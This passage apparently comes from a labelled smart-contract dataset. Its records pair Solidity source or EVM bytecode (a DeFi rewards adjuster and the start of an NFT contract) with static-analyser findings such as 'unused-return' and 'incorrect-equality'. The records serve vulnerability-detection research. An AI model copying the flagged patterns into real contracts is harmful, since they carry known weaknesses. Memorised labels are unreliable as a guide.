63ffffffff16565b80611fe75750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f657272206661726d206f72207374616b652061646472657373206f6e6c79000081525060200191505060405180910390fd5b6000600190505b6004811161210d5742601060008381526020019081526020016000205410801561209e57506000601160008381526020019081526020016000205414155b156120e0576011600082815260200190815260200160002054600960008282540192505081905550600060116000838152602001908152602001600020819055505b42601060008381526020019081526020016000205411156121005761210d565b8080600101915050612060565b5060095482111561211e5760095491505b6121288383612a88565b508160096000828254039250508190555081905092915050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121d85780601f106121ad576101008083540402835291602001916121d8565b820191906000526020600020905b8154815290600101906020018083116121bb57829003601f168201915b505050505081565b60166020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122f357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156123885750600082115b80156124135750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b61241c57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600d5481565b60186020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612607576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b81600854101561261657600080fd5b6126208383612a88565b50816008600082825403925050819055506001905092915050565b6a0422ca8b0a00a42500000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461270e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6000600190505b600481116127c25742601860008381526020019081526020016000205410801561275357506000601960008381526020019081526020016000205414155b15612795576019600082815260200190815260200160002054600d60008282540192505081905550600060196000838152602001908152602001600020819055505b42601860008381526020019081526020016000205411156127b5576127c2565b8080600101915050612715565b5081600d5410156127d257600080fd5b6127dc8383612a88565b5081600d600082825403925050819055506001905092915050565b60095481565b60106020528060005260406000206000915090505481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60156020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6000600190505b600e548111612a2d574260126000838152602001908152602001600020541080156129be57506000601360008381526020019081526020016000205414155b15612a00576013600082815260200190815260200160002054600a60008282540192505081905550600060136000838152602001908152602001600020819055505b4260126000838152602001908152602001600020541115612a2057612a2d565b808060010191505061297f565b5081600a541015612a3d57600080fd5b612a478383612a88565b5081600a600082825403925050819055506001905092915050565b60085481565b60196020528060005260406000206000915090505481565b6301e1338081565b60006a0422ca8b0a00a42500000060025483011115612af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612ce66028913960400191505060405180910390fd5b816002540160028190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612c1a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612c52565b905092915050565b6000612c4a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612cc2565b905092915050565b6000612c5e8383612cc2565b612cb7578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612cbc565b600090505b92915050565b60008083600101600084815260200190815260200160002054141590509291505056fe54686520746f74616c20737570706c792063616e6e6f742065786365656420352e3030302e303030546865206275726e696e672076616c75652063616e6e6f742062652067726561746572207468616e2074686520546f74616c20537570706c7921a26469706673582212205d78ad243727850b26dbe716e194ecb45fec459f198fbacf2547f8d7b039d0f164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,773
0xe64575f62d4802c432e2bd9c1b6692a8bacbdfb9
pragma solidity 0.6.7; abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual public view returns (uint256, uint256); function setPerBlockAllowance(address, uint256) virtual external; } abstract contract TreasuryFundableLike { function authorizedAccounts(address) virtual public view returns (uint256); function fixedReward() virtual public view returns (uint256); function modifyParameters(bytes32, uint256) virtual external; } abstract contract TreasuryParamAdjusterLike { function adjustMaxReward(address receiver, bytes4 targetFunctionSignature, uint256 newMaxReward) virtual external; } abstract contract OracleLike { function read() virtual external view returns (uint256); } abstract contract OracleRelayerLike { function redemptionPrice() virtual public returns (uint256); } contract FixedRewardsAdjuster { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "FixedRewardsAdjuster/account-not-authorized"); _; } // --- Structs --- struct FundingReceiver { // Last timestamp when the funding receiver data was updated uint256 lastUpdateTime; // [unix timestamp] // Gas amount used to execute this funded function uint256 gasAmountForExecution; // [gas amount] // Delay between two calls to recompute the fees for this funded function uint256 updateDelay; // [seconds] // Multiplier applied to the computed fixed reward uint256 fixedRewardMultiplier; // [hundred] } // --- Variables --- // Data about funding receivers mapping(address => mapping(bytes4 => FundingReceiver)) public fundingReceivers; // The gas price oracle OracleLike public gasPriceOracle; // The ETH oracle OracleLike public ethPriceOracle; // The contract that adjusts SF treasury parameters and needs to be updated with max rewards for each funding receiver TreasuryParamAdjusterLike public treasuryParamAdjuster; // The oracle relayer contract OracleRelayerLike public oracleRelayer; // The SF treasury contract StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, address addr); event ModifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val); event AddFundingReceiver( address indexed receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 fixedRewardMultiplier ); event RemoveFundingReceiver(address indexed receiver, bytes4 targetFunctionSignature); event RecomputedRewards(address receiver, uint256 newFixedReward); constructor( address oracleRelayer_, address treasury_, address gasPriceOracle_, address ethPriceOracle_, address treasuryParamAdjuster_ ) public { // Checks require(oracleRelayer_ != address(0), "FixedRewardsAdjuster/null-oracle-relayer"); require(treasury_ != address(0), "FixedRewardsAdjuster/null-treasury"); require(gasPriceOracle_ != address(0), "FixedRewardsAdjuster/null-gas-oracle"); require(ethPriceOracle_ != address(0), "FixedRewardsAdjuster/null-eth-oracle"); require(treasuryParamAdjuster_ != address(0), "FixedRewardsAdjuster/null-treasury-adjuster"); authorizedAccounts[msg.sender] = 1; // Store oracleRelayer = OracleRelayerLike(oracleRelayer_); treasury = StabilityFeeTreasuryLike(treasury_); gasPriceOracle = OracleLike(gasPriceOracle_); ethPriceOracle = OracleLike(ethPriceOracle_); treasuryParamAdjuster = TreasuryParamAdjusterLike(treasuryParamAdjuster_); // Check that the oracle relayer has a redemption price stored oracleRelayer.redemptionPrice(); // Emit events emit ModifyParameters("treasury", treasury_); emit ModifyParameters("oracleRelayer", oracleRelayer_); emit ModifyParameters("gasPriceOracle", gasPriceOracle_); emit ModifyParameters("ethPriceOracle", ethPriceOracle_); emit ModifyParameters("treasuryParamAdjuster", treasuryParamAdjuster_); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Math --- uint256 public constant WAD = 10**18; uint256 public constant RAY = 10**27; uint256 public constant HUNDRED = 100; uint256 public constant THOUSAND = 1000; function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "FixedRewardsAdjuster/add-uint-uint-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "FixedRewardsAdjuster/sub-uint-uint-underflow"); } function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "FixedRewardsAdjuster/multiply-uint-uint-overflow"); } function divide(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y > 0, "FixedRewardsAdjuster/div-y-null"); z = x / y; require(z <= x, "FixedRewardsAdjuster/div-invalid"); } function wdivide(uint x, uint y) public pure returns (uint z) { require(y > 0, "FixedRewardsAdjuster/div-y-null"); z = multiply(x, WAD) / y; } // --- Administration --- /* * @notify Update the address of a contract that this adjuster is connected to * @param parameter The name of the contract to update the address for * @param addr The new contract address */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "FixedRewardsAdjuster/null-address"); if (parameter == "oracleRelayer") { oracleRelayer = OracleRelayerLike(addr); oracleRelayer.redemptionPrice(); } else if (parameter == "treasury") { treasury = StabilityFeeTreasuryLike(addr); } else if (parameter == "gasPriceOracle") { gasPriceOracle = OracleLike(addr); } else if (parameter == "ethPriceOracle") { ethPriceOracle = OracleLike(addr); } else if (parameter == "treasuryParamAdjuster") { treasuryParamAdjuster = TreasuryParamAdjusterLike(addr); } else revert("FixedRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(parameter, addr); } /* * @notify Change a parameter for a funding receiver * @param receiver The address of the funding receiver * @param targetFunction The function whose callers receive funding for calling * @param parameter The name of the parameter to change * @param val The new parameter value */ function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized { require(val > 0, "FixedRewardsAdjuster/null-value"); FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction]; require(fundingReceiver.lastUpdateTime > 0, "FixedRewardsAdjuster/non-existent-receiver"); if (parameter == "gasAmountForExecution") { require(val < block.gaslimit, "FixedRewardsAdjuster/invalid-gas-amount-for-exec"); fundingReceiver.gasAmountForExecution = val; } else if (parameter == "updateDelay") { fundingReceiver.updateDelay = val; } else if (parameter == "fixedRewardMultiplier") { require(both(val >= HUNDRED, val <= THOUSAND), "FixedRewardsAdjuster/invalid-fixed-reward-multiplier"); fundingReceiver.fixedRewardMultiplier = val; } else revert("FixedRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(receiver, targetFunction, parameter, val); } /* * @notify Add a new funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding * @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver * @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature * @param fixedRewardMultiplier Multiplier applied to the computed base reward * @param maxRewardMultiplier Multiplied applied to the computed max reward */ function addFundingReceiver( address receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 fixedRewardMultiplier ) external isAuthorized { // Checks require(receiver != address(0), "FixedRewardsAdjuster/null-receiver"); require(updateDelay > 0, "FixedRewardsAdjuster/null-update-delay"); require(both(fixedRewardMultiplier >= HUNDRED, fixedRewardMultiplier <= THOUSAND), "FixedRewardsAdjuster/invalid-fixed-reward-multiplier"); require(gasAmountForExecution > 0, "FixedRewardsAdjuster/null-gas-amount"); require(gasAmountForExecution < block.gaslimit, "FixedRewardsAdjuster/large-gas-amount-for-exec"); // Check that the receiver hasn't been already added FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(newReceiver.lastUpdateTime == 0, "FixedRewardsAdjuster/receiver-already-added"); // Add the receiver's data newReceiver.lastUpdateTime = now; newReceiver.updateDelay = updateDelay; newReceiver.gasAmountForExecution = gasAmountForExecution; newReceiver.fixedRewardMultiplier = fixedRewardMultiplier; emit AddFundingReceiver( receiver, targetFunctionSignature, updateDelay, gasAmountForExecution, fixedRewardMultiplier ); } /* * @notify Remove an already added funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function removeFundingReceiver(address receiver, bytes4 targetFunctionSignature) external isAuthorized { // Check that the receiver is still stored and then delete it require(fundingReceivers[receiver][targetFunctionSignature].lastUpdateTime > 0, "FixedRewardsAdjuster/non-existent-receiver"); delete(fundingReceivers[receiver][targetFunctionSignature]); emit RemoveFundingReceiver(receiver, targetFunctionSignature); } // --- Core Logic --- /* * @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external { FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), "FixedRewardsAdjuster/wait-more"); // Update last time targetReceiver.lastUpdateTime = now; // Read the gas and the ETH prices uint256 gasPrice = gasPriceOracle.read(); uint256 ethPrice = ethPriceOracle.read(); // Calculate the fixed fiat value uint256 fixedRewardDenominatedValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), ethPrice), WAD); // Calculate the fixed reward expressed in system coins uint256 newFixedReward = divide(multiply(fixedRewardDenominatedValue, RAY), oracleRelayer.redemptionPrice()); newFixedReward = divide(multiply(newFixedReward, targetReceiver.fixedRewardMultiplier), HUNDRED); require(newFixedReward > 0, "FixedRewardsAdjuster/null-fixed-reward"); // Notify the treasury param adjuster about the new fixed reward treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newFixedReward); // Approve the reward in the treasury treasury.setPerBlockAllowance(receiver, multiply(newFixedReward, RAY)); // Set the new rewards inside the receiver contract TreasuryFundableLike(receiver).modifyParameters("fixedReward", newFixedReward); emit RecomputedRewards(receiver, newFixedReward); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80636f6dc5ae116100ad578063ac0e47f511610071578063ac0e47f5146102f4578063de32b67d146102fc578063eae8d49b1461033e578063f752fdc314610386578063f85fc0ab146103a957610121565b80636f6dc5ae14610280578063749288ba14610288578063851cad9014610290578063900dc6ff1461029857806394f3f81d146102ce57610121565b8063552033c4116100f4578063552033c41461020657806361d027b31461020e5780636614f010146102165780636a146024146102425780636c64a3481461024a57610121565b8063017a10fa1461012657806324ba58841461018257806335b28153146101ba5780634faf61ab146101e2575b600080fd5b61015c6004803603604081101561013c57600080fd5b5080356001600160a01b031690602001356001600160e01b0319166103b1565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6101a86004803603602081101561019857600080fd5b50356001600160a01b03166103e1565b60408051918252519081900360200190f35b6101e0600480360360208110156101d057600080fd5b50356001600160a01b03166103f3565b005b6101ea610493565b604080516001600160a01b039092168252519081900360200190f35b6101a86104a2565b6101ea6104b2565b6101e06004803603604081101561022c57600080fd5b50803590602001356001600160a01b03166104c1565b6101a861075f565b6101e06004803603604081101561026057600080fd5b5080356001600160a01b031690602001356001600160e01b03191661076b565b6101ea610bf3565b6101ea610c02565b6101a8610c11565b6101e0600480360360408110156102ae57600080fd5b5080356001600160a01b031690602001356001600160e01b031916610c17565b6101e0600480360360208110156102e457600080fd5b50356001600160a01b0316610d4c565b6101ea610deb565b6101e06004803603608081101561031257600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060600135610dfa565b6101e0600480360360a081101561035457600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060608101359060800135611069565b6101a86004803603604081101561039c57600080fd5b50803590602001356112ee565b6101a8611366565b60016020818152600093845260408085209091529183529120805491810154600282015460039092015490919084565b60006020819052908152604090205481565b336000908152602081905260409020546001146104415760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6005546001600160a01b031681565b6b033b2e3c9fd0803ce800000081565b6006546001600160a01b031681565b3360009081526020819052604090205460011461050f5760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0381166105545760405162461bcd60e51b81526004018080602001828103825260218152602001806116756021913960400191505060405180910390fd5b816c37b930b1b632a932b630bcb2b960991b14156105fc57600580546001600160a01b0319166001600160a01b03838116919091179182905560408051630316dd2360e61b81529051929091169163c5b748c0916004808201926020929091908290030181600087803b1580156105ca57600080fd5b505af11580156105de573d6000803e3d6000fd5b505050506040513d60208110156105f457600080fd5b506107189050565b8167747265617375727960c01b141561062f57600680546001600160a01b0319166001600160a01b038316179055610718565b816d67617350726963654f7261636c6560901b141561066857600280546001600160a01b0319166001600160a01b038316179055610718565b816d65746850726963654f7261636c6560901b14156106a157600380546001600160a01b0319166001600160a01b038316179055610718565b81743a3932b0b9bab93ca830b930b6a0b2353ab9ba32b960591b14156106e157600480546001600160a01b0319166001600160a01b038316179055610718565b60405162461bcd60e51b815260040180806020018281038252602f8152602001806114c5602f913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b6001600160a01b03821660009081526001602090815260408083206001600160e01b0319851684529091529020805460028201546107b9918015159142916107b29161136b565b11156113b3565b61080a576040805162461bcd60e51b815260206004820152601e60248201527f46697865645265776172647341646a75737465722f776169742d6d6f72650000604482015290519081900360640190fd5b428155600254604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561085257600080fd5b505afa158015610866573d6000803e3d6000fd5b505050506040513d602081101561087c57600080fd5b5051600354604080516315f789a960e21b815290519293506000926001600160a01b03909216916357de26a491600480820192602092909190829003018186803b1580156108c957600080fd5b505afa1580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b5051600184015490915060009061092790610919906109139086906113b7565b846113b7565b670de0b6b3a764000061140d565b905060006109c5610944836b033b2e3c9fd0803ce80000006113b7565b600560009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b505161140d565b90506109df6109d88287600301546113b7565b606461140d565b905060008111610a205760405162461bcd60e51b81526004018080602001828103825260268152602001806116c06026913960400191505060405180910390fd5b6004805460408051632346554960e01b81526001600160a01b038b8116948201949094526001600160e01b03198a166024820152604481018590529051929091169163234655499160648082019260009290919082900301818387803b158015610a8957600080fd5b505af1158015610a9d573d6000803e3d6000fd5b50506006546001600160a01b03169150633d285a6f905088610acb846b033b2e3c9fd0803ce80000006113b7565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b1a57600080fd5b505af1158015610b2e573d6000803e3d6000fd5b50505050866001600160a01b031663fe4f5890826040518263ffffffff1660e01b815260040180806a199a5e195914995dd85c9960aa1b815250602001828152602001915050600060405180830381600087803b158015610b8e57600080fd5b505af1158015610ba2573d6000803e3d6000fd5b5050604080516001600160a01b038b1681526020810185905281517fa4e546d6d5086d0fe7b07fc5a686f276b38bb5ee722f6602bbef76e8735360d49450908190039091019150a150505050505050565b6002546001600160a01b031681565b6004546001600160a01b031681565b6103e881565b33600090815260208190526040902054600114610c655760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b03821660009081526001602090815260408083206001600160e01b031985168452909152902054610cce5760405162461bcd60e51b815260040180806020018281038252602a815260200180611696602a913960400191505060405180910390fd5b6001600160a01b03821660008181526001602081815260408084206001600160e01b0319871680865290835281852085815593840185905560028401859055600390930193909355825191825291517f27deac06df27e6e639c18b3359e9805cd9834be10fa04c491c27cb5de28133ab929181900390910190a25050565b33600090815260208190526040902054600114610d9a5760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6003546001600160a01b031681565b33600090815260208190526040902054600114610e485760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b60008111610e9d576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6e756c6c2d76616c756500604482015290519081900360640190fd5b6001600160a01b03841660009081526001602090815260408083206001600160e01b03198716845290915290208054610f075760405162461bcd60e51b815260040180806020018281038252602a815260200180611696602a913960400191505060405180910390fd5b827433b0b9a0b6b7bab73a2337b922bc32b1baba34b7b760591b1415610f7157458210610f655760405162461bcd60e51b81526004018080602001828103825260308152602001806116116030913960400191505060405180910390fd5b60018101829055611009565b826a75706461746544656c617960a81b1415610f935760028101829055611009565b82743334bc32b22932bbb0b93226bab63a34b83634b2b960591b14156106e157610fc660648310156103e88411156113b3565b6110015760405162461bcd60e51b81526004018080602001828103825260348152602001806116416034913960400191505060405180910390fd5b600381018290555b604080516001600160a01b03871681526001600160e01b0319861660208201528082018590526060810184905290517f88d1df549626311d5a3b057e3cf7f309557bf79aea71600180e6c8c2fe34d74b9181900360800190a15050505050565b336000908152602081905260409020546001146110b75760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0385166110fc5760405162461bcd60e51b815260040180806020018281038252602281526020018061159b6022913960400191505060405180910390fd5b6000831161113b5760405162461bcd60e51b81526004018080602001828103825260268152602001806115756026913960400191505060405180910390fd5b61114e60648210156103e88311156113b3565b6111895760405162461bcd60e51b81526004018080602001828103825260348152602001806116416034913960400191505060405180910390fd5b600082116111c85760405162461bcd60e51b81526004018080602001828103825260248152602001806115bd6024913960400191505060405180910390fd5b4582106112065760405162461bcd60e51b815260040180806020018281038252602e8152602001806116e6602e913960400191505060405180910390fd5b6001600160a01b03851660009081526001602090815260408083206001600160e01b03198816845290915290208054156112715760405162461bcd60e51b815260040180806020018281038252602b81526020018061151f602b913960400191505060405180910390fd5b428155600281018490556001810183905560038101829055604080516001600160e01b031987168152602081018690528082018590526060810184905290516001600160a01b038816917ff8012c2aa90df1c1a5f637a50ca0447f4daf9b590c78e93e1c8f10eeda5a4fe0919081900360800190a2505050505050565b6000808211611344576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6469762d792d6e756c6c00604482015290519081900360640190fd5b8161135784670de0b6b3a76400006113b7565b8161135e57fe5b049392505050565b606481565b808201828110156113ad5760405162461bcd60e51b815260040180806020018281038252602b81526020018061154a602b913960400191505060405180910390fd5b92915050565b1690565b60008115806113d2575050808202828282816113cf57fe5b04145b6113ad5760405162461bcd60e51b81526004018080602001828103825260308152602001806115e16030913960400191505060405180910390fd5b6000808211611463576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6469762d792d6e756c6c00604482015290519081900360640190fd5b81838161146c57fe5b049050828111156113ad576040805162461bcd60e51b815260206004820181905260248201527f46697865645265776172647341646a75737465722f6469762d696e76616c6964604482015290519081900360640190fdfe46697865645265776172647341646a75737465722f6d6f646966792d756e7265636f676e697a65642d706172616d7346697865645265776172647341646a75737465722f6163636f756e742d6e6f742d617574686f72697a656446697865645265776172647341646a75737465722f72656365697665722d616c72656164792d616464656446697865645265776172647341646a75737465722f6164642d75696e742d75696e742d6f766572666c6f7746697865645265776172647341646a75737465722f6e756c6c2d7570646174652d64656c617946697865645265776172647341646a75737465722f6e756c6c2d726563656976657246697865645265776172647341646a75737465722f6e756c6c2d6761732d616d6f756e7446697865645265776172647341646a75737465722f6d756c7469706c792d75696e742d75696e742d6f766572666c6f7746697865645265776172647341646a75737465722f696e76616c69642d6761732d616d6f756e742d666f722d6578656346697865645265776172647341646a75737465722f696e76616c69642d66697865642d7265776172642d6d756c7469706c69657246697865645265776172647341646a75737465722f6e756c6c2d6164647265737346697865645265776172647341646a75737465722f6e6f6e2d6578697374656e742d726563656976657246697865645265776172647341646a75737465722f6e756c6c2d66697865642d72657761726446697865645265776172647341646a75737465722f6c617267652d6761732d616d6f756e742d666f722d65786563a2646970667358221220b6f17c7a6a5e732ac896102b238a53d47c8ca9e1ff4d07320eac71083a43e23a64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,774
0x1f8a5585bfff074b1bc2af5d9542f2d82b913412
/** *Submitted for verification at Etherscan.io on 2021-12-04 */ // File: contracts/erc721.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.6; interface ERC721 { event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external; function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; function transferFrom( address _from, address _to, uint256 _tokenId ) external; function approve( address _approved, uint256 _tokenId ) external; function setApprovalForAll( address _operator, bool _approved ) external; function balanceOf( address _owner ) external view returns (uint256); function ownerOf( uint256 _tokenId ) external view returns (address); function getApproved( uint256 _tokenId ) external view returns (address); function isApprovedForAll( address _owner, address _operator ) external view returns (bool); } // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/erc721-token-receiver.sol /** * @dev ERC-721 interface for accepting safe transfers. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721TokenReceiver { function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns(bytes4); } // File: contracts/erc165.sol interface ERC165 { function supportsInterface( bytes4 _interfaceID ) external view returns (bool); } // File: contracts/supports-interface.sol contract SupportsInterface is ERC165 { mapping(bytes4 => bool) internal supportedInterfaces; constructor() { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } function supportsInterface( bytes4 _interfaceID ) external override view returns (bool) { return supportedInterfaces[_interfaceID]; } } // File: contracts/address-utils.sol library AddressUtils { function isContract( address _addr ) internal view returns (bool addressCheck) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(_addr) } // solhint-disable-line addressCheck = (codehash != 0x0 && codehash != accountHash); } } // File: contracts/nf-token.sol interface BaseInterface{ function isEligibleToFutureMints(address who, uint256 _modulo) external view returns (bool); } contract DIEDED_MASTERPIECE is ERC721, SupportsInterface, Ownable { using AddressUtils for address; //Mainnet vs. testnet address //Testnet is: 0x35EEB32Ed3A4741c6a731Ad9B6257f04f9C376D1 //Mainnet is: 0x7349d9324Fe190Ca96C7fC4EE4f1F3CBbb0d502a //Usage baseDiededContract.isEligibleToFutureMints(msg.sender, ID_TO_BE_MINTED) address ckAddress = 0x7349d9324Fe190Ca96C7fC4EE4f1F3CBbb0d502a; 